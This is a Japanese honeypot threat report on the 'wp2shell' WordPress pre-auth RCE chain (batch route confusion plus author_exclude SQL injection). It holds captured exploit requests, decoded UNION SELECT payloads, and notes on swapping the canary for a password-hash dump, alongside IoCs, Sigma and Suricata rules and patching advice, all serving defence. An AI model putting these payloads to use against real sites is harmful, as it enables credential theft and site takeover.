野生下で捕捉されたwp2shell:WordPressの認証前RCE、パッチ公開からわずか2日後

要点まとめ

  • wp2shellは、CVE-2026-63030(REST APIバッチルートの混同、CVSS 9.8)とCVE-2026-60137WP_Query::author__not_inにおけるSQLインジェクション)を連鎖させた攻撃チェーンで、プラグインを一切導入していないデフォルトのWordPressインストールに対して認証不要のリモートコード実行を可能にします。
  • パッチは2026年7月17日に公開されました(6.8.6/6.9.5/7.0.2)。技術的な詳細の全容は7月20日に公開されています。
  • 当社のBeelzebubハニーポットはWordPress 7.0.1サイトになりすまし、2026年7月19日08:38 UTCに最初の武器化された悪用試行を捕捉しました。これは技術的な詳細が公開されるであり、パッチ公開からおよそ48時間後のことです。
  • ペイロードはネスト構造のバッチリクエスト(バッチの中にさらにバッチ)で構成されており、author_excludeのRESTパラメータを通じてUNION ALL SELECTによるインジェクションを行い、悪用の成功を確認するために16進エンコードされたカナリアマーカーを使用していました。
  • ある攻撃者は正体を隠そうともせず、User-Agent: wp2shell/1.0をそのまま使用していました。
  • Beelzebubの設定全体、デコードしたペイロード、IoC、検知ルールを以下に掲載します。

背景

2026年7月17日、WordPressのセキュリティチームは緊急リリースとなる6.8.66.9.57.0.2を公開しました。これらのリリースの背後には、組み合わせることで匿名の攻撃者にコード実行を許してしまう2件の脆弱性が存在していました。しかも対象は、プラグインもテーマも認証も、ユーザー操作すら不要な、素の状態のWordPressインストールです。

この攻撃チェーンはすぐにwp2shellと名付けられました。CERT-AgIDはイタリアの公共部門のインストールに対して即時のパッチ適用を促す勧告を発表し、7月20日までに複数の概念実証(PoC)エクスプロイトが公然と出回るようになりました。

WordPressはウェブ上で非常に大きなシェアを占めており、脆弱なコードパスは廃止済みの一部プラグインではなくコアに存在します。膨大な導入台数、デフォルト設定での悪用可能性、そして公開されたPoCという組み合わせは、まさに数時間以内にインターネット全体を巻き込む一斉攻撃を生み出す典型的な条件です。

私たちは、その一斉攻撃が実際の通信上でどのように見えるのかを確認したいと考えました。そこでBeelzebubハニーポットをこの問題に向けて設置し、インストールしたばかりの未パッチのWordPress 7.0.1ブログに見せかけて待ち構えました。

待つ時間は長くありませんでした。


脆弱性の詳細:wp2shell

攻撃チェーンを構成する2つの要素

CVE コンポーネント CVSS 発見者
CVE-2026-63030 REST APIバッチルートの混同 9.8 Adam Kues氏(Searchlight Cyber)
CVE-2026-60137 author__not_in経由のSQLインジェクション 5.9 TF1T、dtro、haongo

それぞれ単独では、致命的な一撃にはなりません。CVE-2026-60137ブラインドSQLインジェクションであり、レスポンスの本文には何も返ってきません。CVE-2026-63030はルーティング上のバグで、単独ではほぼ、本来アクセスできないはずのエンドポイントへのアクセスを許すだけです。しかしこの2つを連鎖させると、認証前のRCEへと変貌します。

前半:バッチルートの混同(CVE-2026-63030

WordPress 6.9では、複数のREST呼び出しを1つのHTTPリクエストにまとめられるバッチREST エンドポイント/wp-json/batch/v1が導入されました。このハンドラであるWP_REST_Server::serve_batch_request_v1()は、送信されたrequests配列を走査し、位置でインデックス付けされた並列配列を構築します。1つはパース済みのリクエストオブジェクト用、もう1つは検証・権限確認の結果用です。

バグの本質は、これら並列配列間の同期ずれです。細工したエントリ、例えば早い段階でパースに失敗し、一方の配列からは静かに除外されるがもう一方には残ってしまうような不正なパスを送り込むと、インデックスがずれていきます。その結果、本来リクエストNに対して計算されるはずの権限チェックが、リクエストN+1に適用されてしまうのです。

適切な形にペイロードを整えれば、本来rest_forbiddenで拒否されるべきリクエストが、無害な隣接リクエストに与えられるべき権限判定のもとでディスパッチされてしまいます。

私たちが捕捉したペイロードでは、この同期ずれは次のようなエントリで引き起こされていました。

{"method": "POST", "path": "http://:"}
{"method": "POST", "path": "///"}

スキームだけのURL(http://:)と、スラッシュが3つ並んだパスです。どちらも有効なRESTルートではありません。両方とも、単にインデックスの整合性を1つずらすためだけに存在しています。

後半:WP_QueryにおけるSQLインジェクション(CVE-2026-60137

WP_Queryauthor__not_inという引数を受け付け、RESTレイヤーはこれをauthor_excludeというクエリパラメータとして公開しています。サニタイズ処理のロジックは、値が常に配列として渡されることを前提としていました。サニタイズ処理を守るための型チェックは、値が文字列である場合にはスキップされてしまい、生の値がそのまま生成されるSQLに埋め込まれてしまいます。

つまり、こういうことです。

GET /wp-json/wp/v2/posts?author_exclude[]=1     ← array, sanitized
GET /wp-json/wp/v2/posts?author_exclude=1)+AND+…  ← string, injected

1)によって生成されたWHERE post_author NOT IN (…)句が閉じられ、それ以降はすべて攻撃者が制御するSQLになります。

組み合わせると

  1. /wp-json/batch/v1(または/?rest_route=/batch/v1)にバッチリクエストをPOSTします。
  2. 並列配列を同期ずれさせて権限チェックを回避するため、不正な形式のエントリを含めます(CVE-2026-63030)。
  3. バッチの中で、SQLを含む文字列型のauthor_excludeを伴ってwp/v2のコレクションエンドポイントを呼び出します(CVE-2026-60137)。
  4. 管理者のパスワードハッシュを抽出します。武器化されたバリアントでは、UNION SELECTを使って偽造した投稿・ユーザーオブジェクトを、注入した結果セットから直接生成します。
  5. 管理者セッションを偽造し、プラグインをアップロードすれば、シェルの完成です。

影響を受けるバージョンとパッチ適用済みバージョン

ブランチ 脆弱性あり 修正済み 影響
6.8.x 6.8.0〜6.8.5 6.8.6 SQLインジェクションのコンポーネントのみ
6.9.x 6.9.0〜6.9.4 6.9.5 完全な認証前RCEチェーン
7.0.x 7.0.0〜7.0.1 7.0.2 完全な認証前RCEチェーン

ハニーポットの構成

野生下での悪用を観測するには、レスポンスヘッダー、X-WP-Totalカウンター、/wp-json/ディスカバリードキュメントの形状に至るまで、未パッチのWordPress 7.0.1と寸分違わぬように見えるターゲットが必要でした。攻撃ツールは実行前に厳密にフィンガープリンティングを行うため、なりすましが甘いとスキップされてしまいます。

Beelzebubは、本文・ヘッダー・ステータスコードを完全に制御できる正規表現マッチのルートを定義できるHTTPプロトコル機能を備えており、私たちが必要としていたのはまさにこれでした。

ポート サービス なりすましたバージョン
80/TCP HTTP Apache 2.4.58/PHP 8.2.20上のWordPress 7.0.1

設計上のポイント

他よりも重要だったいくつかの判断があります。

  • ディスカバリードキュメントが最初のフックとなる。ほぼすべてのスキャナーは/wp-json/または/?rest_route=/から始めます。私たちのレスポンスはbatch/v1ネームスペースを提示し、/batch/v1POSTルートとして一覧に含めています。これがツールに対して「このターゲットは攻撃する価値がある」と伝える情報になります。
  • readme.htmlの内容が一致している必要がある。WordPressは平文でバージョンを記載したreadme.htmlを同梱しています。スキャナーはこれを<meta name="generator">タグと突き合わせて照合します。不一致は偽装の露見につながります。
  • ヘッダーもフィンガープリントの一部である。X-Robots-Tag: noindexX-Content-Type-Options: nosniffAllow:、そしてLink: </wp-json/>; rel="https://api.w.org/"ヘッダーは、いずれも実際のWordPress RESTレスポンスが返すものです。
  • バッチエンドポイントは401ではなく200を返す。ハニーポットがバッチリクエストを拒否すれば、攻撃者はそこで止まってしまいます。整形された空のバッチレスポンスを返すことで会話を継続させ、ネスト構造の第2段階を含むペイロード全体を捕捉できます。
  • 両方のルーティング形式に対応する。WordPressはパーマリンクを使う/wp-json/…形式と、使わない/?rest_route=/…形式の両方でREST APIを提供しています。実際のツールは両方を試すため、両方にマッチさせています。

Beelzebubの設定

apiVersion: "v1"
protocol: "http"
address: ":80"
description: "WordPress 7.0.1 - Honeypot CVE-2026-63030 (REST batch route confusion + author__not_in SQLi)"
commands:
  - regex: "^/$"
    handler: |
      <!DOCTYPE html>
      <html lang="en-US">
      <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="generator" content="WordPress 7.0.1">
        <link rel="https://api.w.org/" href="/wp-json/">
        <title>Corporate Blog &#8211; Just another WordPress site</title>
      </head>
      <body class="home blog wp-theme-twentytwentyfive">
        <header><h1>Corporate Blog</h1></header>
        <main><article><h2>Hello world!</h2><p>Welcome to WordPress.</p></article></main>
      </body>
      </html>
    headers:
      - "Content-Type: text/html; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "Link: </wp-json/>; rel=\"https://api.w.org/\""
    statusCode: 200
  - regex: "^/readme.html.*$"
    handler: |
      <!DOCTYPE html>
      <html><head><title>WordPress &#8250; ReadMe</title></head>
      <body>
        <h1>WordPress</h1>
        <p>Semantic Personal Publishing Platform</p>
        <h2>Version 7.0.1</h2>
      </body></html>
    headers:
      - "Content-Type: text/html; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
    statusCode: 200
  - regex: "^/wp-json/?$"
    handler: |
      {
        "name": "Corporate Blog",
        "description": "Just another WordPress site",
        "url": "http://blog.example.com",
        "home": "http://blog.example.com",
        "gmt_offset": 0,
        "timezone_string": "",
        "namespaces": ["oembed/1.0", "wp/v2", "wp-site-health/v1", "batch/v1"],
        "authentication": {
          "application-passwords": {
            "endpoints": {
              "authorization": "http://blog.example.com/wp-admin/authorize-application.php"
            }
          }
        },
        "routes": {
          "/": {"namespace": "", "methods": ["GET"]},
          "/batch/v1": {"namespace": "batch/v1", "methods": ["POST"]},
          "/wp/v2/posts": {"namespace": "wp/v2", "methods": ["GET", "POST"]},
          "/wp/v2/users": {"namespace": "wp/v2", "methods": ["GET", "POST"]}
        },
        "_links": {
          "help": [{"href": "https://developer.wordpress.org/rest-api/"}]
        }
      }
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "X-Robots-Tag: noindex"
      - "X-Content-Type-Options: nosniff"
      - "Allow: GET"
    statusCode: 200
  - regex: "^/wp-json/batch/v1.*$"
    handler: |
      {
        "responses": [
          {
            "status": 200,
            "headers": {"Content-Type": "application/json; charset=UTF-8"},
            "body": []
          }
        ],
        "failed": null
      }
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "X-Robots-Tag: noindex"
      - "X-Content-Type-Options: nosniff"
      - "Allow: POST"
    statusCode: 200
  - regex: "^/index.php.*batch/v1.*$"
    handler: |
      {"responses": [{"status": 200, "headers": {}, "body": []}], "failed": null}
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
    statusCode: 200
  - regex: "^/wp-json/wp/v2/posts.*$"
    handler: |
      [
        {
          "id": 1,
          "date": "2026-06-01T09:00:00",
          "slug": "hello-world",
          "status": "publish",
          "type": "post",
          "title": {"rendered": "Hello world!"},
          "content": {"rendered": "<p>Welcome to WordPress.</p>", "protected": false},
          "author": 1,
          "_links": {"self": [{"href": "http://blog.example.com/wp-json/wp/v2/posts/1"}]}
        }
      ]
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "X-WP-Total: 1"
      - "X-WP-TotalPages: 1"
      - "X-Robots-Tag: noindex"
      - "Allow: GET, POST"
    statusCode: 200
  - regex: "^/wp-json/wp/v2/users.*$"
    handler: |
      [
        {
          "id": 1,
          "name": "admin",
          "slug": "admin",
          "_links": {"self": [{"href": "http://blog.example.com/wp-json/wp/v2/users/1"}]}
        }
      ]
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "X-WP-Total: 1"
      - "X-WP-TotalPages: 1"
    statusCode: 200
  - regex: "^/wp-login.php.*$"
    handler: |
      <!DOCTYPE html>
      <html><head><title>Log In &#8250; Corporate Blog</title></head>
      <body class="login">
        <form name="loginform" id="loginform" action="/wp-login.php" method="post">
          <p><label>Username or Email Address<br>
            <input type="text" name="log" class="input"></label></p>
          <p><label>Password<br>
            <input type="password" name="pwd" class="input"></label></p>
          <p class="submit"><input type="submit" name="wp-submit" value="Log In"></p>
        </form>
      </body></html>
    headers:
      - "Content-Type: text/html; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
    statusCode: 200
  - regex: "^.*$"
    handler: |
      <!DOCTYPE html>
      <html lang="en-US">
      <head><meta charset="UTF-8"><title>Page not found &#8211; Corporate Blog</title></head>
      <body class="error404"><h1>Oops! That page can&#8217;t be found.</h1></body>
      </html>
    headers:
      - "Content-Type: text/html; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
    statusCode: 404

捕捉した悪用試行

タイムライン

Jul 17, 2026  → WordPress 6.8.6 / 6.9.5 / 7.0.2 released. Advisory published,
                technical details deliberately withheld.

Jul 17, 2026  → First reconnaissance hits on the honeypot:
                GET /wp-json/batch/v1 from 62.113.210[.]14 (23M Cloud, DE),
                within hours of the advisory.

Jul 19, 2026  → 08:38:59 UTC, first fully weaponized exploitation attempt.
                UNION-based SQLi nested inside a batch request.

Jul 20, 2026  → Searchlight Cyber publishes the full technical breakdown.
                Public PoCs proliferate.

Jul 20-22     → Sustained, multi-source scanning and exploitation.

重要なのは2行目と4行目の間の空白です。何者かは、公開の技術解説が出るよりも丸1日も前に動作するエクスプロイトチェーンを手にしており、すでにそれをインターネット上の無作為なホストにばら撒いていました。パッチの差分をリバースエンジニアリングした(この種のバグであれば十分にあり得ることです)か、あるいはエクスプロイトが非公式に出回っていたかのいずれかでしょう。

フェーズ1:探索

ほぼすべてのセッションが同じ手順で始まっており、パーマリンクが有効かどうかを判定するために両方のRESTルーティング形式を調べていました。

31.58.244.30     GET  /?rest_route=/
31.58.244.30     GET  /wp-json/
31.58.244.30     GET  /?rest_route=/
178.83.123.99    GET  /?rest_route=/
15.204.64.31     GET  /wp-json/
15.204.64.31     GET  /?rest_route=/
204.77.130.140   GET  /wp-json/
204.77.130.140   GET  /?rest_route=/

このツールがレスポンスの中で探しているのは、たった1つの文字列です。namespaces配列内のbatch/v1です。私たちのハニーポットはこれを提示しているため、スキャナーはさらに一段階攻撃を進めてきます。

91.92.47.229からの別のプローブは、古典的な著者列挙を狙ったものでした。

91.92.47.229     GET  /wp-json/wp/v2/users

これはwp2shellの一部ではなく、以前から存在するWordPressの著者列挙の挙動です。とはいえ、新しいエクスプロイトを実行しているのと同じホストが、古い手口についても同時にスイープしているという事実を思い出させる、有用な傍証になります。

フェーズ2:武器化された悪用

最初の実際のペイロードは7月19日08:38:59 UTC205.185.126.29から届き、そのUser-Agentは正体を隠すつもりが微塵も感じられないものでした。

{
  "DateTime": "2026-07-19T08:38:59.758912867Z",
  "RemoteAddr": "205.185.126.29:39216",
  "Protocol": "HTTP",
  "Command": "POST /?rest_route=/batch/v1",
  "UserAgent": "wp2shell/1.0",
  "HeadersMap": {
    "Content-Type": ["application/json"],
    "Content-Length": ["841"],
    "Accept-Encoding": ["gzip"],
    "User-Agent": ["wp2shell/1.0"]
  }
}

User-Agent: wp2shell/1.0。ブラウザを装った偽装文字列もなければ、紛れ込もうとする様子も一切ありません。これは、ステルス性よりも量がものを言う、日和見的な大規模スキャンです。

興味深いのはリクエスト本文です。バッチの中にさらにバッチをネストした構造になっています。

{
  "requests": [
    { "method": "POST", "path": "http://:" },
    {
      "body": {
        "requests": [
          { "method": "GET", "path": "http://:" },
          {
            "method": "GET",
            "path": "/wp/v2/widgets?_fields=id,slug,title,content,guid&author_exclude=<SQLi>&context=view&orderby=none&page=-1&per_page=-1"
          }
        ]
      }
    }
  ]
}

注目すべき点は3つあります。

  1. "path": "http://:"はスキームのみのURLです。有効なルートではなく、唯一の役割はserve_batch_request_v1()内部の並列配列を同期ずれさせるようなかたちでパースを失敗させることです。
  2. ネストされたbody.requestsにより、バッチハンドラが再帰的に実行され、内側のバッチは外側から破損した権限コンテキストを引き継ぎます。
  3. page=-1&per_page=-1は負のページネーションであり、WP_Queryを脆弱なLIMITWHERE構築部分に到達するコードパスへ強制的に進ませるために使われています。

ここで狙われているターゲットに注目してください。/wp/v2/postsではなく/wp/v2/widgetsです。widgetsエンドポイントは通常edit_theme_options権限を要求するため、認証バイパスが成功した場合のみ到達可能です。これをインジェクションの着地点として使うことで、リクエスト1回でバイパスとインジェクションを同時に検証する試験になっているのです。

SQLインジェクションのデコード

URLデコードすると、author_excludeの値は次のようになります。

1) AND 1=0 UNION ALL SELECT
  1922721457,
  1,
  0x323032302d30312d30312030303a30303a3030,
  0x323032302d30312d30312030303a30303a3030,
  '', '', '',
  0x7075626c697368,
  0x636c6f736564,
  0x636c6f736564,
  '',
  COALESCE((SELECT 0x633934353034373633393239), ''),
  '', '',
  0x323032302d30312d30312030303a30303a3030,
  0x323032302d30312d30312030303a30303a3030,
  '', 0, '', 0,
  0x706f7374,
  '', 0
-- -

すべての16進数定数は、偽造した行が正当なwp_postsレコードに見えるようにデコードされます。

16進値 デコード結果 カラムの用途
0x323032302d30312d30312030303a30303a3030 2020-01-01 00:00:00 post_datepost_modified
0x7075626c697368 publish post_status
0x636c6f736564 closed comment_statusping_status
0x706f7374 post post_type
0x633934353034373633393239 c94504763929 カナリアマーカー

その仕組みは詳しく見る価値があります。

  • AND 1=0によって本物の行はすべて抑制され、レスポンスには攻撃者が偽造した行だけが含まれることになります。
  • カラム数と型はwp_postsと完全に一致させられています。これはブラインドな探りではなく、スキーマとハイドレーション処理のパスを熟知した者が作成したものです。
  • クォートで囲んだ文字列ではなく16進リテラルを使うことで、クォートベースのWAFシグネチャや、マジッククォート的なエスケープ処理を回避しています。
  • COALESCE((SELECT 0x633934353034373633393239), '')がペイロードを差し込むスロットです。今回の実行ではランダムなカナリア値c94504763929が入っていますが、実際の抽出時にはこのサブクエリがSELECT user_pass FROM wp_users WHERE ID=1に置き換わります。
  • -- -は生成されたクエリの残りの部分をコメントアウトします。二重ハイフンの後ろに続くハイフンは、空白の正規化処理によって必要なスペースが失われるのを防ぐための保険です。

偽造された行はWP_Postオブジェクトとしてハイドレーションされ、RESTシリアライザーを通じてレンダリングされ直すため、カナリア値はレスポンス本文にそのまま出力されます。これが決定的な進化点です。CVE-2026-60137を、遅いブラインドかつ時間ベースのインジェクションから、高速で直接出力されるインジェクションへと変えてしまうのです。管理者ハッシュの抽出は、何千回もの時間差リクエストから、たった1回のHTTP呼び出しへと激変します。

2つ目のバリアント

204.77.130.140から観測された別のペイロードは、存在しないことがあらかじめ分かっている投稿ID/wp/v2/posts/999999を標的としており、AND 1=0ではなく、そもそも存在しないIDによって本物の結果セットが空になる仕組みでした。

0) UNION SELECT
  999999, 2,
  0x323032302d30312d30312030303a30303a3030,
  0x323032302d30312d30312030303a30303a3030,
  5,
  CONCAT(0x7c7c, HEX(CAST((SELECT 0x4f4b) AS CHAR)), 0x7c7c),
  7,
  0x7075626c697368,
  9, 10, 11, 12, 13, 14,
  0x323032302d30312d30312030303a30303a3030,
  0x323032302d30312d30312030303a30303a3030,
  17, 18, 19, 20,
  0x706f7374,
  22, 23
-- -

ここでは0x7c7c||を、0x4f4bOKを表しており、post_contentに描画されるマーカーは||4F4B||、つまり二重パイプで囲まれたOKの16進表現になります。

CONCAT(0x7c7c, HEX(CAST(… AS CHAR)), 0x7c7c)というラッパーは、手作りの一回限りのものではなく、汎用的な抽出用ハーネスであることを示す特徴です。

  • ||…||という区切り文字により、任意のHTML/JSONレスポンスの中から抽出対象の値を特定するパーサーを組めるようになっています。
  • HEX(CAST(… AS CHAR))は、抽出データがバイナリセーフであることを保証します。エンコード破損もなく、JSONを壊す文字もなく、パスワードハッシュやシリアライズされたデータを取り出す際の文字コード周りの思わぬ問題もありません。

(SELECT 0x4f4b)(SELECT user_pass FROM wp_users LIMIT 1)に差し替えれば、同じハーネスで認証情報がダンプされます。OKはあくまで自己テスト用の値に過ぎません。

この2つのペイロードは、カラム数もプレースホルダーの書式(16進でパディングされた文字列か、素の整数か)も異なっており、7月19日と20日の時点ですでに少なくとも2種類の独立したエクスプロイト実装が出回っていたことを示しています。

単一ホストから観測された攻撃チェーン全体

204.77.130.140は、この一連の完全な手順を繰り返し実行していました。

204.77.130.140  GET   /wp-json/
204.77.130.140  GET   /?rest_route=/
204.77.130.140  GET   /wp-json/
204.77.130.140  GET   /?rest_route=/
204.77.130.140  POST  /wp-json/batch/v1
                      {"requests": [{"method": "POST", "path": "///"},
                       {"method": "POST", "path": "/wp/v2/posts",
                        "body": {"requests": [{"method": "POST", "path": "///"},
                         {"method": "GET", "path": "/wp/v2/users?author_excl…
204.77.130.140  GET   /wp-json/
204.77.130.140  GET   /?rest_route=/

悪用試行の/wp-json/を再度確認しているのは、ターゲットの状態が変化したかどうか——新しいユーザーが現れたか、ネームスペースの一覧が変わったか——を確認する自動化ツールに特徴的な挙動です。スキャナーのループに組み込まれた、成功判定のための粗雑な仕組みと言えます。

ここでの同期ずれ用エントリが"http://:"ではなく"path": "///"である点にも注目してください。同じ手口の3つ目のバリエーションであり、複数の独立した実装が存在することを裏付ける、さらなる証拠です。


脅威アクターのインフラ

送信元IP ネットワーク/組織 ASN 観測された挙動
205.185.126[.]29 FranTech Solutions(PONYNET) AS53667 US 完全なSQLiペイロード、UA: wp2shell/1.0
204.77.130[.]140 JIULING 該当なし US 攻撃チェーン全体を繰り返し実行、2つ目のSQLiバリアント
31.58.244[.]30 CloudBackbone/CGI Global AS56971 NL/HK 継続的なREST探索
178.83.123[.]99 Megahost Kazakhstan TOO AS208450 KZ REST探索
15.204.64[.]31 OVH US LLC AS16276 US REST探索
91.92.47[.]229 TechTies Inc. AS197170 NL/SC ユーザー列挙(/wp/v2/users
62.113.210[.]14 23M Cloud AS47447 DE /wp-json/batch/v1への最も早いプローブ

この傾向は一貫しており、驚くようなものではありません。バレットプルーフに近い格安VPSプロバイダーが、米国、オランダ、ドイツ、カザフスタン、香港という各法域にまたがって使われています。FranTech/PONYNET(BuyVM)や23M Cloudは、以前から悪用データセットに繰り返し登場している常連です。これらはいずれもAPTのインフラではなく、インターネット全体への一斉攻撃に使われている、レンタルの使い捨てリソースにすぎません。

このデータセットには住宅用回線やTor経由のトラフィックは含まれていません。これは先ほどの見立てを裏付けるものです。つまり、これは標的型の侵入ではなく、量を求める日和見的な大規模悪用だということです。


侵害の痕跡(IoC)

ネットワークIoC

# Source IPs (observed July 17-22, 2026)
205.185.126.29
204.77.130.140
31.58.244.30
178.83.123.99
15.204.64.31
91.92.47.229
62.113.210.14
# ASNs with elevated wp2shell scanning activity
AS53667  (FranTech Solutions / PONYNET)
AS56971  (CloudBackbone)
AS208450 (Megahost Kazakhstan)
AS47447  (23M Cloud)
AS197170 (TechTies Inc.)
# User-Agent
wp2shell/1.0
# Request patterns
POST /wp-json/batch/v1
POST /?rest_route=/batch/v1
POST /index.php?rest_route=/batch/v1

ペイロードのシグネチャ

# Batch array desync markers (path values that are not valid routes)
"path": "http://:"
"path": "///"
"path": "http:///"
# Nested batch (a "requests" key inside a request "body")
"body":{"requests":[
# String-typed author_exclude carrying SQL
author_exclude=1)
author_exclude=0)
author_exclude=%29
author__not_in=
# UNION-based injection markers
UNION+ALL+SELECT
UNION+SELECT
0x7075626c697368          # 'publish'
0x706f7374                # 'post'
0x636c6f736564            # 'closed'
0x7c7c                    # '||' extraction delimiter
HEX(CAST(
COALESCE((SELECT
# Negative pagination forcing the vulnerable query path
page=-1&per_page=-1

侵害後のホストIoC

# Check for these on any WordPress 6.8.0-7.0.1 install that was internet-facing
- Administrator accounts created after 2026-07-17
- wp_users rows with recent user_registered and role=administrator
- New or modified PHP files under wp-content/uploads/
- Newly installed or activated plugins with no matching admin audit trail
- Modified wp-config.php
- Unexpected entries in wp_options: 'active_plugins', 'cron'

検知ルール(Sigma)

title: WordPress wp2shell Exploitation Attempt (CVE-2026-63030 / CVE-2026-60137)
id: 7f3c1a92-4d8e-4b21-9c65-1e0a7b4d2f88
status: experimental
description: >
  Detects exploitation attempts of the wp2shell chain, combining REST batch
  route confusion with SQL injection through the author_exclude parameter.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-63030
  - https://nvd.nist.gov/vuln/detail/CVE-2026-60137
  - https://cert-agid.gov.it/news/wp2shell-vulnerabilita-critiche-nel-core-di-wordpress-necessario-aggiornare-i-sistemi/
logsource:
  category: webserver
detection:
  selection_batch:
    cs-uri-stem|contains:
      - '/wp-json/batch/v1'
      - 'rest_route=/batch/v1'
  selection_sqli:
    cs-uri-query|contains:
      - 'author_exclude=1)'
      - 'author_exclude=0)'
      - 'author_exclude=%29'
      - 'author__not_in='
  selection_union:
    cs-uri-query|contains:
      - 'UNION ALL SELECT'
      - 'UNION SELECT'
      - '0x7075626c697368'
      - '0x706f7374'
  selection_ua:
    cs-user-agent|contains: 'wp2shell'
  condition: selection_ua or selection_batch or (selection_sqli and selection_union)
falsepositives:
  - Legitimate use of the batch REST endpoint by authenticated block-editor sessions
    (these will carry a valid nonce and an authenticated cookie)
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - attack.credential_access
  - attack.t1212
  - cve.2026.63030
  - cve.2026.60137

Suricataルール

alert http any any -> $HOME_NET any (msg:"wp2shell batch endpoint exploitation attempt (CVE-2026-63030)";
  flow:established,to_server; http.method; content:"POST";
  http.uri; content:"batch/v1"; nocase;
  http.request_body; content:"|22|requests|22|"; content:"|22|body|22|"; distance:0;
  classtype:web-application-attack; sid:2026063030; rev:1;)
alert http any any -> $HOME_NET any (msg:"wp2shell author_exclude SQL injection (CVE-2026-60137)";
  flow:established,to_server;
  http.uri; content:"author_exclude"; nocase;
  pcre:"/author_exclude=[^&\[]*(\)|%29)/i";
  classtype:web-application-attack; sid:2026060137; rev:1;)
alert http any any -> $HOME_NET any (msg:"wp2shell scanner user-agent";
  flow:established,to_server;
  http.user_agent; content:"wp2shell"; nocase;
  classtype:web-application-attack; sid:2026063031; rev:1;)

2つ目のルールにあるpcreに注目してください。author_exclude[を意図的に除外していますが、これは配列形式こそが正当な形だからです。悪用可能なのは文字列形式のみであり、この区別こそが、ルールが誤検知に埋もれてしまうのを防いでいます。


主な調査結果

1. 武器化の速度が情報公開を上回った

7月17日に発表された勧告が技術的な詳細を伏せていたのは、まさに防御側に時間を稼がせるためでした。しかし実際に稼げた時間は48時間にも満たなかったのです。カラムまで一致させ、スキーマを熟知したUNION SELECTチェーンが、公開の技術解説が出る前日の7月19日には、すでに私たちのハニーポットを叩いていました。

この種のバグにおいては、パッチの差分そのものがエクスプロイトの仕様書に等しいのです。詳細を伏せることは、攻撃者集団の中でも技量の低い層の動きを遅らせる効果はあっても、トップ層に対してはほぼ無意味です。

2. ブラインドではなくなっていた

勧告はCVE-2026-60137ブラインドSQLインジェクションと位置づけており、防御側もそれを踏まえて緊急度を妥当に見積もっていました。ブラインドでの抽出は遅く、ノイズも多く、レートリミットで容易に抑え込めるはずだったからです。

しかし捕捉されたペイロードは、それを完全に迂回していました。完全なwp_posts行を偽造し、WordPressにそれをハイドレーションさせてREST API経由でシリアライズし直させることで、攻撃者は直接的な出力を手に入れていたのです。何千回もの時間差リクエストが、たった1回に圧縮されてしまいます。レートリミットやタイミング異常検知など、遅い時間ベースのオラクルを前提としたあらゆる緩和策は、間違った脅威モデルに合わせて調整されていたことになります。

3. 直ちに現れた複数の独立実装

私たちは3種類の異なる同期ずれ用マーカー(http://:///、その他のルーティングバリアント)と、カラム数の異なる構造的に別の2種類のインジェクションペイロードを観測しました。これは1つのPoCがコピー&ペーストされているのではなく、同じ72時間の枠内で複数のチームが独立して構築していたことを意味します。

4. 認証バイパスは権限の必要なエンドポイントを使って検証されていた

/wp/v2/postsではなく/wp/v2/widgetsにインジェクションを行っているのは、小さな細部ですが大きな意味を持ちます。widgetsedit_theme_options権限を要求するため、未認証のリクエストであれば本来401が返るはずです。これを着地点として使うことで、1回のリクエストで攻撃チェーンの両方の半分を同時に証明できます。これは無差別なばら撒きではなく、エクスプロイト設計における規律の表れです。

5. ハニーポットの忠実度がデータの質を左右する

私たちのデータセットに含まれるすべてのセッションは、フィンガープリンティングのリクエストから始まっていました。もしハニーポットが/wp-json/batch/v1に対して401を返していたら、あるいはネームスペース一覧からbatch/v1を省いていたら、あるいはgeneratorメタタグと食い違うreadme.htmlを返していたら、スキャナーは立ち去ってしまい、私たちが捕捉できたのは偵察のノイズだけで、第2段階のペイロードには決して届かなかったでしょう。

ペイロードこそがすべての要点です。それを手に入れるには、攻撃者が本気で仕掛けてくるだけの説得力を備えている必要があるのです。


推奨事項

WordPressを運用している場合

  1. 今すぐパッチを適用してください。6.8.6、6.9.5、7.0.2のいずれかです。パッチと同等に有効な部分的な緩和策は存在しません。
  2. 7月17日以降にパッチを適用していなかったインターネット公開の6.9.x/7.0.xインストールについては、侵害されたものとみなしてください。公開での悪用は2日以内に始まっていたため、「21日にパッチを当てました」というだけでは無事だったことの証明にはなりません。
  3. 悪用の試行だけでなく、その後の痕跡も調査してください。7月17日以降に作成された管理者アカウント、wp-content/uploads/内の新規PHPファイル、説明のつかないプラグインの有効化、変更されたwp-config.phpなどです。
  4. 何か見つかった場合はすべてをローテーションしてください。すべての管理者パスワード、すべてのアプリケーションパスワード、wp-config.phpのソルト、そしてあらゆるデータベース認証情報です。

すぐにパッチを適用できない場合

  1. WAFまたはリバースプロキシで/wp-json/batch/v1?rest_route=/batch/v1をブロックしてください。バッチはブロックエディタで使われるため、これをブロックすると管理画面の使い勝手は落ちますが、公開サイト自体は壊れません。
  2. 文字列型のauthor_excludeを拒否してください。正当なのはauthor_exclude[]=(配列形式)のみです。これは誤検知の少ない、精度の高いフィルタです。
  3. ネストされたバッチを拒否してください。リクエストのbodyの中にrequestsキーが入っている正当な用途はありません。
  4. 可能であれば、匿名ユーザーに対してREST APIで認証を必須にしてください

多数のシステムを防御している場合

